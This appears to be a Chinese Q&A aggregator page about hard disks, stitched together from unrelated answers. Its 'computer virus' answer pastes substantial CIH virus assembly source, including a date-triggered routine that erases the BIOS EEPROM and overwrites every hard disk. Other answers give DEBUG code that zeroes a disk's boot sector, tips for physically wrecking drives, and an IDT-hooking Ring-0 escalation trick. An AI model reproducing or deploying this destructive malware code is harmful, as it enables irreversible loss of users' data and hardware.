當前位置:首頁 » 硬碟大全 » ptr硬碟
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

ptr硬碟

發布時間: 2022-06-01 21:21:36

『壹』 硬碟不能啟動

用DEBUG修復硬碟不啟動故障

前幾天一個朋友拿來一塊硬碟,告訴我說這塊硬碟突然不能啟動了,讓我幫忙檢查一下,我拿過硬碟看了一下,是一塊昆騰15G的硬碟,用了還不到一年(因為不是在本地買的,要找到經銷商很麻煩),把壞硬碟接到我的電腦上,在BIOS中可以檢測到這塊硬碟,但是啟動到「Verifying DMI Data"時,硬碟燈長亮,系統卻不動了。拔下原先電腦上的硬碟,把這塊壞硬碟單獨接到主盤上,用軟盤啟動,仍然是啟動到「Verifying DMI Data"時就沒有了響應,看來問題並不簡單。

由於這塊硬碟在出問題之前一直工作都很正常,從未發現過任何壞道,而且朋友用電腦一向很小心,也沒有讓硬碟受過什麼碰撞,看來應該不是硬故障,估計是因為使用不當所造成的死鎖,一般進行低格就可以解決問題了。但是現在也有一個問題,就是只要把這塊壞硬碟接到電腦上,無論是接到主盤還是從盤上,那麼不管是從硬碟還是從軟體盤,都無法啟動系統,這樣所有的低格軟體都無法使用了。盡管也可以先啟動系統後再接上壞硬碟,但是這樣熱拔插有可能會造成硬碟或其它設備的損壞,還是不用為好。看來只能找一塊主板BIOS中帶有低格功能的電腦來對它進行低格了,而手邊一時又找不到這樣的電腦,我一下子陷入了困境。

正在我在這此煩惱時,我突然想到了幾年前的KV300邏輯鎖事件,當年KV300邏輯鎖也是這樣對硬碟進行了死鎖,後來有人想出了對硬碟的主引導扇區清零的方法來恢復對硬碟的引導,故障的現象也和這塊硬碟一模一樣,幸好我還記得這種方法,為什麼不用這種方法來試一下呢?

於是我又取下了那塊壞硬碟,把我原先用的硬碟接了上去,重新開機後,啟動到DOS實模式下,然後執行DEBUG命令 C:\windows\command\DEBUG(可能有些朋友對它不很熟悉,想當年我在上大學時它可是計算機專業的必修課),此時在軟碟機中插入一張空白的軟盤,然後在DEBUG的軟體環境中鍵入以下字元:

-A 0100
XXXX:0100 XOR AX,AX
XXXX:0102 PUSH AX
XXXX:0103 POP DS
XXXX:0104 PUSH AX
XXXX:0105 POP ES
XXXX:0106 MOV CX,100
XXXX:0109 MOV BX,7C00
XXXX:010C MOV WORD PTR [BX],00
XXXX:0110 INC BX
XXXX:0111 INC BX
XXXX:0112 LOOP 10C
XXXX:0114 MOV AX,0301
XXXX:0117 MOV CX,0001
XXXX:011A MOV DX,80
XXXX:011D MOV BX,7C00
XXXX:0120 INT 13
XXXX:0122 JMP FFFF:0000
XXXX:0127
-W 100 0 0 1
-Q

此時,系統會在這張空白軟盤上寫入一段特殊的引導信息,這樣這張特殊的引導盤就做好了。

最後關閉電腦,換上那塊壞硬碟,並把它接到主盤上,重新在BIOS中設置硬碟的所有參數,並把系統設為從A盤啟動,然後重新啟動電腦,並把那張特殊的引導盤插入軟碟機,大約10秒鍾後,電腦自動的重新啟動,此時我將那張特殊的引導盤取出,插入WIN98的啟動盤,1分鍾後,系統順利的啟動了,熟悉的DOS提示符又出現在眼前,然後重新對硬碟分區,重裝WIN98,至此硬碟的故障全部排除。

『貳』 我用HDD硬碟壞道檢測工具,檢測完成後出現:BUFFER EMPTR 不知道是什麼意思,請高手賜教。

BUFFER EMPTY 是不是這個 不是EMPTR呀

『叄』 計算機病毒

什麼是計算機病毒
計算機病毒是一個程序,一段可執行碼。就像生物病毒一樣,計算機病毒有獨特的復制能力。計算機病毒可以很快地蔓
延,又常常難以根除。它們能把自身附著在各種類型的文件上。當文件被復制或從一個用戶傳送到另一個用戶時,它們就隨
同文件一起蔓延開來。

除復制能力外,某些計算機病毒還有其它一些共同特性:一個被污染的程序能夠傳送病毒載體。當你看到病毒載體似乎
僅僅表現在文字和圖象上時,它們可能也已毀壞了文件、再格式化了你的硬碟驅動或引發了其它類型的災害。若是病毒並不
寄生於一個污染程序,它仍然能通過占據存貯空間給你帶來麻煩,並降低你的計算機的全部性能。
可以從不同角度給出計算機病毒的定義。一種定義是通過磁碟、磁帶和網路等作為媒介傳播擴散,能「傳染」 其他程序
的程序。另一種是能夠實現自身復制且藉助一定的載體存在的具有潛伏性、傳染性和破壞性的程序。還有的定義是一種人為
製造的程序,它通過不同的途徑潛伏或寄生在存儲媒體(如磁碟、內存)或程序里。當某種條件或時機成熟時,它會自生復制
並傳播,使計算機的資源受到不同程序的破壞等等。這些說法在某種意義上借用了生物學病毒的概念,計算機病毒同生物病毒
所相似之處是能夠侵入計算機系統和網路,危害正常工作的「病原體」。它能夠對計算機系統進行各種破壞,同時能夠自我復
制, 具有傳染性。
所以, 計算機病毒就是能夠通過某種途徑潛伏在計算機存儲介質(或程序)里, 當達到某種條件時即被激活的具有對計
算機資源進行破壞作用的一組程序或指令集合。

參考:http://www.eboss.com/pages/winfile/FaQ/bing.html

這里只是一部分。太長了。
cmp dword ptr [ebx+20h+04h+04h], 00000024h ;詳見助標2
jne QuitMyVirusFileSystemHook

; *****************
; * Get the File *
; * Modification *
; * Date and Time *
; * in DOS Format.*
; *****************

mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax ;保存獲得的文件時間和日期

; ***************************
; * Quit My Virus' *
; * IFSMgr_FileSystemHook *
; ***************************

QuitMyVirusFileSystemHook:

popad ;恢復所有寄存器

ret ;從病毒設置的文件鉤子程序中退出

; *************************************
; * Kill Computer !? ... *^_^* * ;KillComputer模塊(!!十分危險,所以原理分析及詳細注釋暫不公布!!)
; *************************************

IsKillComputer:
; Get Now Day from BIOS CMOS
mov al, 07h
out 70h, al
in al, 71h

xor al, 26h ; ??/26/???? ;從CMOS中獲得當前的日期

IF DEBUG
jmp DisableOnBusy
ELSE
jnz DisableOnBusy
ENDIF ;如果是每月的26號就KillComputer(太危險了).*^_^*.

; **************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; **************************************

; ***************************
; * Kill BIOS EEPROM *
; ***************************

mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]

; ***********************
; * Show BIOS Page in *
; * 000E0000 - 000EFFFF *
; * ( 64 KB ) *
; ***********************

mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi

; ***********************
; * Show BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; ***********************

mov di, 0058h
dec edx ; and a0fh
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
call esi

; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E01FF *
; * ( 512 Bytes ) *
; * , and the Section *
; * of Extra BIOS can *
; * be Writted... *
; ***********************

lea ebx, EnableEEPROMToWrite-@10[esi]

mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h

push ecx
loop $

; ***********************
; * Kill the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E007F *
; * ( 80h Bytes ) *
; ***********************

xor ah, ah
mov [eax], al

xchg ecx, eax
loop $

; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data *
; * 000E0000 - 000FFFFF *
; * ( 128 KB ) *
; * can be Writted... *
; ***********************

mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h

loop $

; ***********************
; * Kill the BIOS Main *
; * ROM Data in Memory *
; * 000FE000 - 000FE07F *
; * ( 80h Bytes ) *
; ***********************

mov ah, 0e0h
mov [eax], al

; ***********************
; * Hide BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; ***********************
; or al 0h
mov word ptr (BooleanCalculateCode-@10)[esi], 100ch
call esi

; ***************************
; * Kill All HardDisk *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************

KillHardDisk:
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecx

mov esi, esp
sub esp, 0ach

LoopOfKillHardDisk:
int 20h
dd 00100004h ; VXDCall IOS_SendCommand

cmp word ptr [esi+06h], 0017h
je KillNextDataSection

ChangeNextHardDisk:
inc byte ptr [esi+4dh]

jmp LoopOfKillHardDisk

KillNextDataSection:
add dword ptr [esi+10h], ebx
mov byte ptr [esi+4dh], FirstKillHardDiskNumber

jmp LoopOfKillHardDisk

; ***************************
; * Enable EEPROM to Write *
; ***************************

EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], al

ret

; ***************************
; * IO for EEPROM *
; ***************************

IOForEEPROM:
@10 = IOForEEPROM

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
xchg edx, ebp
in al, dx

BooleanCalculateCode = $
or al, 44h

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
xchg edx, ebp
out dx, al

ret

; *********************************************************
; * Static Data *
; *********************************************************

LastVxDCallAddress = IFSMgr_Ring0_FileIO ;最後一個調用的VxD的指令的地址
VxDCallAddressTable db 00h
db IFSMgr_RemoveFileSystemApiHook-_PageAllocate
db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO-UniToBCSPath ;各個VxD調用指令地址之差

VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h ;VxD的調用號
VxDCallTableSize = ($-VxDCallIDTable)/04h ;程序中使用VxD調用的個數

; *********************************************************
; * Virus Version Copyright *
; *********************************************************

VirusVersionCopyright db 'CIH v' ;CIH病毒的標識
db MajorVirusVersion+'0' ;主版本號
db '.'
db MinorVirusVersion+'0' ;副版本號
db ' TATUNG' ;作者名字

; *********************************************************
; * Virus Size *
; *********************************************************

VirusSize = $
; + (04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + (04h) ;病毒代碼全長

; *********************************************************
; * Dynamic Data *
; *********************************************************

VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress
OnBusy db 0 ;忙標志
FileModificationTime dd ? ;文件修改時間

FileNameBuffer db FileNameBufferSize p(?) ;7fh長的文件名數據區
@7 = FileNameBuffer

DataBuffer = $
@8 = DataBuffer
NumberOfSections dw ? ; 塊數目
TimeDateStamp dd ? ; 文件時間
SymbolsPointer dd ? ;
NumberOfSymbols dd ? ; 符號表中符號個數
SizeOfOptionalHeader dw ? ; 可選部首長度
_Characteristics dw ? ; 信息標志
Magic dw ? ; 標志字(總是010bh)
LinkerVersion dw ? ; 連接器版本號
SizeOfCode dd ? ; 代碼段大小
SizeOfInitializedData dd ? ; 已初始化數據塊大小
SizeOfUninitializedData dd ? ; 未初始化數據塊大小
AddressOfEntryPoint dd ? ; 程序起始RVA
BaseOfCode dd ? ; 代碼段起始RVA
BaseOfData dd ? ; 數據段起始RVA
ImageBase dd ? ; 裝入基址RVA
@9 = $
SectionAlignment dd ? ; 塊對齊
FileAlignment dd ? ; 文件塊對齊
OperatingSystemVersion dd ? ; 所需操作系統版本號
ImageVersion dd ? ; 用戶自定義版本號
SubsystemVersion dd ? ; 所需子系統版本號
Reserved dd ? ; 保留
SizeOfImage dd ? ; 文件各部分總長
SizeOfHeaders dd ? ; 部首及塊表大小
SizeOfImageHeaderToRead = $-NumberOfSections ;
;
NewAddressOfEntryPoint = DataBuffer ; DWORD ;
SizeOfImageHeaderToWrite = 04h ;

StartOfSectionTable = @9
SectionName = StartOfSectionTable ; QWORD ; 塊名
VirtualSize = StartOfSectionTable+08h ; DWORD ; 該段真實長度
VirtualAddress = StartOfSectionTable+0ch ; DWORD ; 該塊的RVA
SizeOfRawData = StartOfSectionTable+10h ; DWORD ; 該塊物理長度
PointerToRawData = StartOfSectionTable+14h ; DWORD ; 該塊物理偏移
PointerToRelocations = StartOfSectionTable+18h ; DWORD ; 重定位的偏移
PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD ; 行號表的偏移
NumberOfRelocations = StartOfSectionTable+20h ; WORD ; 重定位項數目
NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD ; 行號表的數目
Characteristics = StartOfSectionTable+24h ; DWORD ; 塊屬性
SizeOfScetionTable = Characteristics+04h-SectionName ; 塊表項的長度

; *********************************************************
; * Virus Total Need Memory *
; *********************************************************

VirusNeedBaseMemory = $

VirusNeedBaseMemory = $

VirusTotalNeedMemory = @9
; + NumberOfSections(??)*SizeOfScetionTable(28h)
; + (04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + (04h) ;病毒所需的內存(病毒全長)

; *********************************************************
; *********************************************************

VirusGame ENDS

『肆』 如何能迅速破壞硬碟,詳情如下:

個人覺得依據電磁原理,電磁爐是常規手段最好的數據破壞裝備。(本人未實驗過)按說拆開物理方式損壞碟片是最可靠的。ssd就簡單多了,電子元件最怕的是超過擊穿電壓,以電腦最高12v直流電來說接入市電應該是很好的損壞方案。

『伍』 VC++ MFC如何獲取CPU ID及硬碟的序列號

// 「獲得Intel CPU ID」按鈕消息處理函數
void CIntelCPUIDDlg::OnBtnCPUID()
{
unsigned long s1,s2;
unsigned char vendor_id[]="------------";//CPU提供商ID
CString str1,str2,str3;
// 以下為獲得CPU ID的匯編語言指令
_asm // 得到CPU提供商信息
{
xor eax,eax // 將eax清0
cpuid // 獲取CPUID的指令
mov dword ptr vendor_id,ebx
mov dword ptr vendor_id[+4],edx
mov dword ptr vendor_id[+8],ecx
}
str1.Format("%s",vendor_id);

_asm // 得到CPU ID的高32位
{
mov eax,01h
xor edx,edx
cpuid
mov s2,eax
}
str2.Format("%08X-",s2);

_asm // 得到CPU ID的低64位
{
mov eax,03h
xor ecx,ecx
xor edx,edx
cpuid
mov s1,edx
mov s2,ecx
}
str3.Format("%08X-%08X\n",s1,s2);

str2=str2+str3;
m_editVendor.SetWindowText(str1);
m_editCPUID.SetWindowText(str2);
}

// GetHDSerial.cpp: implementation of the CGetHDSerial class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "GetHDSerial.h"

char m_buffer[256];
WORD m_serial[256];
DWORD m_OldInterruptAddress;
DWORDLONG m_IDTR;

// 等待硬碟空閑
static unsigned int WaitHardDiskIdle()
{
BYTE byTemp;

Waiting:
_asm
{
mov dx, 0x1f7
in al, dx
cmp al, 0x80
jb Endwaiting
jmp Waiting
}
Endwaiting:
_asm
{
mov byTemp, al
}
return byTemp;
}

//中斷服務程序
void _declspec( naked )InterruptProcess(void)
{
int byTemp;
int i;
WORD temp;
//保存寄存器值
_asm
{
push eax
push ebx
push ecx
push edx
push esi
}

WaitHardDiskIdle();//等待硬碟空閑狀態
_asm
{
mov dx, 0x1f6
mov al, 0xa0
out dx, al
}
byTemp = WaitHardDiskIdle(); //若直接在Ring3級執行等待命令,會進入死循環
if ((byTemp&0x50)!=0x50)
{
_asm // 恢復中斷現場並退出中斷服務程序
{
pop esi
pop edx
pop ecx
pop ebx
pop eax
iretd
}
}

_asm
{
mov dx, 0x1f6 //命令埠1f6,選擇驅動器0
mov al, 0xa0
out dx, al
inc dx
mov al, 0xec
out dx, al //發送讀驅動器參數命令
}
byTemp = WaitHardDiskIdle();
if ((byTemp&0x58)!=0x58)
{
_asm // 恢復中斷現場並退出中斷服務程序
{
pop esi
pop edx
pop ecx
pop ebx
pop eax
iretd
}
}
//讀取硬碟控制器的全部信息
for (i=0;i<256;i++)
{
_asm
{
mov dx, 0x1f0
in ax, dx
mov temp, ax
}
m_serial[i] = temp;
}
_asm
{
pop esi
pop edx
pop ecx
pop ebx
pop eax
iretd
}
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CGetHDSerial::CGetHDSerial()
{

}

CGetHDSerial::~CGetHDSerial()
{

}
// 讀取硬碟序列號函數
char* CGetHDSerial::GetHDSerial()
{
m_buffer[0]='\n';
// 得到當前操作系統版本
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx( &OSVersionInfo);
if (OSVersionInfo.dwPlatformId != VER_PLATFORM_WIN32_NT)
{
// Windows 9x/ME下讀取硬碟序列號
WORD m_wWin9xHDSerial[256];
Win9xReadHDSerial(m_wWin9xHDSerial);
strcpy (m_buffer, WORDToChar (m_wWin9xHDSerial, 10, 19));
}
else
{
// Windows NT/2000/XP下讀取硬碟序列號
DWORD m_wWinNTHDSerial[256];
// 判斷是否有SCSI硬碟
if ( ! WinNTReadIDEHDSerial(m_wWinNTHDSerial))
WinNTReadSCSIHDSerial(m_wWinNTHDSerial);
strcpy (m_buffer, DWORDToChar (m_wWinNTHDSerial, 10, 19));
}
return m_buffer;
}

// Windows9X/ME系統下讀取硬碟序列號
void _stdcall CGetHDSerial::Win9xReadHDSerial(WORD * buffer)
{
int i;
for(i=0;i<256;i++)
buffer[i]=0;
_asm
{
push eax
//獲取修改的中斷的中斷描述符(中斷門)地址
sidt m_IDTR
mov eax,dword ptr [m_IDTR+02h]
add eax,3*08h+04h
cli
//保存原先的中斷入口地址
push ecx
mov ecx,dword ptr [eax]
mov cx,word ptr [eax-04h]
mov dword ptr m_OldInterruptAddress,ecx
pop ecx
//設置修改的中斷入口地址為新的中斷處理程序入口地址
push ebx
lea ebx,InterruptProcess
mov word ptr [eax-04h],bx
shr ebx,10h
mov word ptr [eax+02h],bx
pop ebx
//執行中斷,轉到Ring 0(類似CIH病毒原理)
int 3h
//恢復原先的中斷入口地址
push ecx
mov ecx,dword ptr m_OldInterruptAddress
mov word ptr [eax-04h],cx
shr ecx,10h
mov word ptr [eax+02h],cx
pop ecx
sti
pop eax
}
for(i=0;i<256;i++)
buffer[i]=m_serial[i];
}

// Windows 9x/ME系統下,將字類型(WORD)的硬碟信息轉換為字元類型(char)
char * CGetHDSerial::WORDToChar (WORD diskdata [256], int firstIndex, int lastIndex)
{
static char string [1024];
int index = 0;
int position = 0;

// 按照高位元組在前,低位元組在後的順序將字數組diskdata 中內容存入到字元串string中
for (index = firstIndex; index <= lastIndex; index++)
{
// 存入字中的高位元組
string [position] = (char) (diskdata [index] / 256);
position++;
// 存入字中的低位元組
string [position] = (char) (diskdata [index] % 256);
position++;
}
// 添加字元串結束標志
string [position] = '\0';

// 刪除字元串中空格
for (index = position - 1; index > 0 && ' ' == string [index]; index--)
string [index] = '\0';

return string;
}

// Windows NT/2000/XP系統下,將雙字類型(DWORD)的硬碟信息轉換為字元類型(char)
char* CGetHDSerial::DWORDToChar (DWORD diskdata [256], int firstIndex, int lastIndex)
{
static char string [1024];
int index = 0;
int position = 0;

// 按照高位元組在前,低位元組在後的順序將雙字中的低字存入到字元串string中
for (index = firstIndex; index <= lastIndex; index++)
{
// 存入低字中的高位元組
string [position] = (char) (diskdata [index] / 256);
position++;
// 存入低字中的低位元組
string [position] = (char) (diskdata [index] % 256);
position++;
}
// 添加字元串結束標志
string [position] = '\0';

// 刪除字元串中空格
for (index = position - 1; index > 0 && ' ' == string [index]; index--)
string [index] = '\0';

return string;
}

// Windows NT/2000/XP下讀取IDE硬碟序列號
BOOL CGetHDSerial::WinNTReadIDEHDSerial(DWORD * buffer)
{
BYTE IdOutCmd [sizeof (SENDCMDOUTPARAMS) + IDENTIFY_BUFFER_SIZE - 1];
BOOL bFlag = FALSE;
int drive = 0;
char driveName [256];
HANDLE hPhysicalDriveIOCTL = 0;

sprintf (driveName, "\\\\.\\PhysicalDrive%d", drive);
// Windows NT/2000/XP下創建文件需要管理員許可權
hPhysicalDriveIOCTL = CreateFile (driveName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);

if (hPhysicalDriveIOCTL != INVALID_HANDLE_VALUE)
{
GETVERSIONOUTPARAMS VersionParams;
DWORD cbBytesReturned = 0;

// 得到驅動器的IO控制器版本
memset ((void*) &VersionParams, 0, sizeof(VersionParams));
if(DeviceIoControl (hPhysicalDriveIOCTL, IOCTL_GET_VERSION,
NULL, 0, &VersionParams,
sizeof(VersionParams),
&cbBytesReturned, NULL) )
{
if (VersionParams.bIDEDeviceMap > 0)
{
BYTE bIDCmd = 0; // IDE或者ATAPI識別命令
SENDCMDINPARAMS scip;

// 如果驅動器是光碟機,採用命令IDE_ATAPI_IDENTIFY, command,
// 否則採用命令IDE_ATA_IDENTIFY讀取驅動器信息
bIDCmd = (VersionParams.bIDEDeviceMap >> drive & 0x10)?
IDE_ATAPI_IDENTIFY : IDE_ATA_IDENTIFY;

memset (&scip, 0, sizeof(scip));
memset (IdOutCmd, 0, sizeof(IdOutCmd));
// 獲取驅動器信息
if (WinNTGetIDEHDInfo (hPhysicalDriveIOCTL,
&scip,
(PSENDCMDOUTPARAMS)&IdOutCmd,
(BYTE) bIDCmd,
(BYTE) drive,
&cbBytesReturned))
{
int m = 0;
USHORT *pIdSector = (USHORT *)
((PSENDCMDOUTPARAMS) IdOutCmd) -> bBuffer;

for (m = 0; m < 256; m++)
buffer[m] = pIdSector [m];
bFlag = TRUE; // 讀取硬碟信息成功
}
}
}
CloseHandle (hPhysicalDriveIOCTL); // 關閉句柄
}
return bFlag;
}

// WindowsNT/2000/XP系統下讀取SCSI硬碟序列號
BOOL CGetHDSerial::WinNTReadSCSIHDSerial (DWORD * buffer)
{
buffer[0]='\n';
int controller = 0;
HANDLE hScsiDriveIOCTL = 0;
char driveName [256];
sprintf (driveName, "\\\\.\\Scsi%d:", controller);
// Windows NT/2000/XP下任何許可權都可以進行
hScsiDriveIOCTL = CreateFile (driveName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);

if (hScsiDriveIOCTL != INVALID_HANDLE_VALUE)
{
int drive = 0;
DWORD mmy;
for (drive = 0; drive < 2; drive++)
{
char buffer [sizeof (SRB_IO_CONTROL) + SENDIDLENGTH];
SRB_IO_CONTROL *p = (SRB_IO_CONTROL *) buffer;
SENDCMDINPARAMS *pin =
(SENDCMDINPARAMS *) (buffer + sizeof (SRB_IO_CONTROL));
// 准備參數
memset (buffer, 0, sizeof (buffer));
p -> HeaderLength = sizeof (SRB_IO_CONTROL);
p -> Timeout = 10000;
p -> Length = SENDIDLENGTH;
p -> ControlCode = IOCTL_SCSI_MINIPORT_IDENTIFY;
strncpy ((char *) p -> Signature, "SCSIDISK", 8);
pin -> irDriveRegs.bCommandReg = IDE_ATA_IDENTIFY;
pin -> bDriveNumber = drive;
// 得到SCSI硬碟信息
if (DeviceIoControl (hScsiDriveIOCTL, IOCTL_SCSI_MINIPORT,
buffer,
sizeof (SRB_IO_CONTROL) +
sizeof (SENDCMDINPARAMS) - 1,
buffer,
sizeof (SRB_IO_CONTROL) + SENDIDLENGTH,
&mmy, NULL))
{
SENDCMDOUTPARAMS *pOut =
(SENDCMDOUTPARAMS *) (buffer + sizeof (SRB_IO_CONTROL));
IDSECTOR *pId = (IDSECTOR *) (pOut -> bBuffer);
if (pId -> sModelNumber [0])
{
int n = 0;
USHORT *pIdSector = (USHORT *) pId;

for (n = 0; n < 256; n++)
buffer[n] =pIdSector [n];
return TRUE; // 讀取成功
}
}
}
CloseHandle (hScsiDriveIOCTL); // 關閉句柄
}
return FALSE; // 讀取失敗
}

// Windows NT/2000/XP下讀取IDE設備信息
BOOL CGetHDSerial::WinNTGetIDEHDInfo (HANDLE hPhysicalDriveIOCTL, PSENDCMDINPARAMS pSCIP,
PSENDCMDOUTPARAMS pSCOP, BYTE bIDCmd, BYTE bDriveNum,
PDWORD lpcbBytesReturned)
{
// 為讀取設備信息准備參數
pSCIP -> cBufferSize = IDENTIFY_BUFFER_SIZE;
pSCIP -> irDriveRegs.bFeaturesReg = 0;
pSCIP -> irDriveRegs.bSectorCountReg = 1;
pSCIP -> irDriveRegs.bSectorNumberReg = 1;
pSCIP -> irDriveRegs.bCylLowReg = 0;
pSCIP -> irDriveRegs.bCylHighReg = 0;

// 計算驅動器位置
pSCIP -> irDriveRegs.bDriveHeadReg = 0xA0 | ((bDriveNum & 1) << 4);

// 設置讀取命令
pSCIP -> irDriveRegs.bCommandReg = bIDCmd;
pSCIP -> bDriveNumber = bDriveNum;
pSCIP -> cBufferSize = IDENTIFY_BUFFER_SIZE;

// 讀取驅動器信息
return ( DeviceIoControl (hPhysicalDriveIOCTL, IOCTL_GET_DRIVE_INFO,
(LPVOID) pSCIP,
sizeof(SENDCMDINPARAMS) - 1,
(LPVOID) pSCOP,
sizeof(SENDCMDOUTPARAMS) + IDENTIFY_BUFFER_SIZE - 1,
lpcbBytesReturned, NULL) );
}

『陸』 windows7 delphi 獲取硬碟序列號.物理序列號

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
procere Button1Click(Sender: TObject);
procere Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procere TForm1.Button1Click(Sender: TObject);
begin
end;

//獲得硬碟序列號
function GetIdeSerialNumber: pchar;
const IDENTIFY_BUFFER_SIZE = 512;
type
TIDERegs = packed record
bFeaturesReg: BYTE; // Used for specifying SMART "commands".
bSectorCountReg: BYTE; // IDE sector count register
bSectorNumberReg: BYTE; // IDE sector number register
bCylLowReg: BYTE; // IDE low order cylinder value
bCylHighReg: BYTE; // IDE high order cylinder value
bDriveHeadReg: BYTE; // IDE drive/head register
bCommandReg: BYTE; // Actual IDE command.
bReserved: BYTE; // reserved for future use. Must be zero.
end;
TSendCmdInParams = packed record
// Buffer size in bytes
cBufferSize: DWORD;
// Structure with drive register values.
irDriveRegs: TIDERegs;
// Physical drive number to send command to (0,1,2,3).
bDriveNumber: BYTE;
bReserved: array[0..2] of Byte;
dwReserved: array[0..3] of DWORD;
bBuffer: array[0..0] of Byte; // Input buffer.
end;
TIdSector = packed record
wGenConfig: Word;
wNumCyls: Word;
wReserved: Word;
wNumHeads: Word;
wBytesPerTrack: Word;
wBytesPerSector: Word;
wSectorsPerTrack: Word;
wVendorUnique: array[0..2] of Word;
sSerialNumber: array[0..19] of CHAR;
wBufferType: Word;
wBufferSize: Word;
wECCSize: Word;
sFirmwareRev: array[0..7] of Char;
sModelNumber: array[0..39] of Char;
wMoreVendorUnique: Word;
wDoubleWordIO: Word;
wCapabilities: Word;
wReserved1: Word;
wPIOTiming: Word;
wDMATiming: Word;
wBS: Word;
wNumCurrentCyls: Word;
wNumCurrentHeads: Word;
wNumCurrentSectorsPerTrack: Word;
ulCurrentSectorCapacity: DWORD;
wMultSectorStuff: Word;
ulTotalAddressableSectors: DWORD;
wSingleWordDMA: Word;
wMultiWordDMA: Word;
bReserved: array[0..127] of BYTE;
end;
PIdSector = ^TIdSector;
TDriverStatus = packed record
// 驅動器返回的錯誤代碼,無錯則返回0
bDriverError: Byte;
// IDE出錯寄存器的內容,只有當bDriverError 為 SMART_IDE_ERROR 時有效
bIDEStatus: Byte;
bReserved: array[0..1] of Byte;
dwReserved: array[0..1] of DWORD;
end;
TSendCmdOutParams = packed record
// bBuffer的大小
cBufferSize: DWORD;
// 驅動器狀態
DriverStatus: TDriverStatus;
// 用於保存從驅動器讀出的數據的緩沖區,實際長度由cBufferSize決定
bBuffer: array[0..0] of BYTE;
end;
var
hDevice: Thandle;
cbBytesReturned: DWORD;
SCIP: TSendCmdInParams;
aIdOutCmd: array[0..(SizeOf(TSendCmdOutParams) + IDENTIFY_BUFFER_SIZE - 1) - 1] of Byte;
IdOutCmd: TSendCmdOutParams absolute aIdOutCmd;
procere ChangeByteOrder(var Data; Size: Integer);
var
ptr: Pchar;
i: Integer;
c: Char;
begin
ptr := @Data;
for I := 0 to (Size shr 1) - 1 do begin
c := ptr^;
ptr^ := (ptr + 1)^;
(ptr + 1)^ := c;
Inc(ptr, 2);
end;
end;
begin
Result := ''; // 如果出錯則返回空串
if SysUtils.Win32Platform = VER_PLATFORM_WIN32_NT then begin // Windows NT, Windows 2000
// 提示! 改變名稱可適用於其它驅動器,如第二個驅動器: '\\.\PhysicalDrive1\'
hDevice := CreateFile('\\.\PhysicalDrive0', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0);
end else // Version Windows 95 OSR2, Windows 98
